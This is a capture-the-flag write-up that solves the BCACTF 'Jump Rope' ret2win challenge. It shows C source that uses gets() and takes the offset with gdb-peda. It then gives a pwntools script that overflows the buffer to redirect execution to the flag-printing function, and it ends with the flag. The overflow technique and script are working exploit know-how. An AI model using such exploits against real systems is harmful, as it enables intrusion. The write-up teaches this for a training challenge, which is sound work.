Rating: 5.0

## Jump Rope

![image](https://user-images.githubusercontent.com/68913871/173026529-86a90d33-dd9e-4d2a-99a8-a8176fb788b4.png)

> This is a typical `ret2win` challenge where we need to control the `RIP`. The following is the code provided

```C
#include <stdio.h>
#include <stdlib.h>

void a() {
FILE *fptr = fopen("flag.txt", "r");
char flag[100];
if(fptr == NULL){
printf("\nLooks like we've run out of jump ropes...\n");
printf("Challenge is misconfigured. Please contact admin if you see this.\n");
}

fgets(flag, sizeof(flag), fptr);
puts(flag);
}

void jumprope(){
char arr[500];
printf("\nBetter start jumping!\n");
gets(arr);
printf("Woo, that was quite the workout wasn't it!\n");
}

int main() {
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);

printf("Here at BCA, fitness is one of our biggest priorities!\n");
printf("Today's workout is going to be jumproping. Enjoy!\n");
jumprope();

return 1;
}
```

> First, we analyze the binary using `file` and `checksec` commands.

![image](https://user-images.githubusercontent.com/68913871/173027496-08cdb8d7-cb8f-4ed0-9c7a-383daebe89ba.png)

> From the results, we can determine that this is a 64-bit system, and no PIE enabled. PIE (position independent executable) is a precondition to enable address space layout randomization (ASLR), which is a security feature where the kernel loads the binary and dependencies into a random location of virtual memory each time it's run. [Read more](https://stackoverflow.com/questions/47778099/what-is-no-pie-used-for)

> From the C code, we can see that there is a vulnerable `gets()` function in `jumprope()`. Since it does not check for the size of user input, we can overflow the buffer here.

> The function `a()` prints out the flag. This is our win function that we need to return to by controlling the program's return address.

> Now, we can analyze the binary using a debugger. Here I used [gdb with peda extention](https://www.bitforestinfo.com/blog/01/09/how-to-install-gdb-peda.html)

> With gdb-peda, we can create a cyclic pattern using `pattern create`. Here, I used the value `600` because I know from the code that the stack contains `char arr[500]`, so I would want a bit more to analyze. Then, run the program using `run` or `r` and paste the pattern as the user input of the `gets()` function.

![image](https://user-images.githubusercontent.com/68913871/173034854-57670972-c7b2-4233-bc7a-39f3ccd3ad79.png)

> We get a segmentation fault because the program is trying to access memory locations that does not exist. gdb-peda also shows us the register and stack values which comes in handy in our analysis.

![image](https://user-images.githubusercontent.com/68913871/173035207-a28159e6-c56c-4494-9202-485e98ca9867.png)

> We can see that we have successfully overflowed the buffer into `RBP`(base pointer) and `RSP`(stack/frame pointer). Since we need to control the `RIP`(return instruction pointer) to return to function `a()`, we will need to overflow exactly after the `RSP`.

> We can calculate the offset easily using `pattern offset`

![image](https://user-images.githubusercontent.com/68913871/173036261-eba513ce-5dbd-404c-b917-139df7abeb73.png)

> We can see that the `RBP` has an offset of 512 and the `RSP` has an offset of 520. This is because as mentioned previously, this binary is a 64-bit architecture thus the size of the frame pointer is 8 bytes.

> Now that we have our offset of 520, we need to get the address of our win function `a()`. As mentioned earlier, PIE is not enabled, thus the address will remain the same in every execution. We can determine the hexadecimal address using `disassemble`

![image](https://user-images.githubusercontent.com/68913871/173037247-71841cc8-f039-46b4-8968-ead1a1cc09eb.png)

> We get the address of `a()` to be `0x4011b6`. We can then proceed to write a pwntools script to connect to the remote server and use `p64` to pack our hexadecimal address with the appropriate endianness to our payload.

```python
from pwn import *
conn = remote ('bin.bcactf.com', 49177)
offset = 520 #gdb-peda pattern offset of rsp
WINADDRESS = 0x4011b6 #address of a()
payload = b"A"*(offset) + p64(WINADDRESS) #overflow the buffer with many 'A' characters then override RIP with address of a()
conn.sendline(payload)
conn.interactive()
```

![image](https://user-images.githubusercontent.com/68913871/173026963-bf30997f-41d2-4bc5-b0f5-ff7e3870f1fe.png)

`bcactf{buff3r_0v3rfl0w_f4nct10n_j4mps_NfEgj4hg}`

Original writeup (https://github.com/Rookie441/CTF/blob/main/Storage/Writeups/BCACTF3.0_Writeup.md#jump-rope).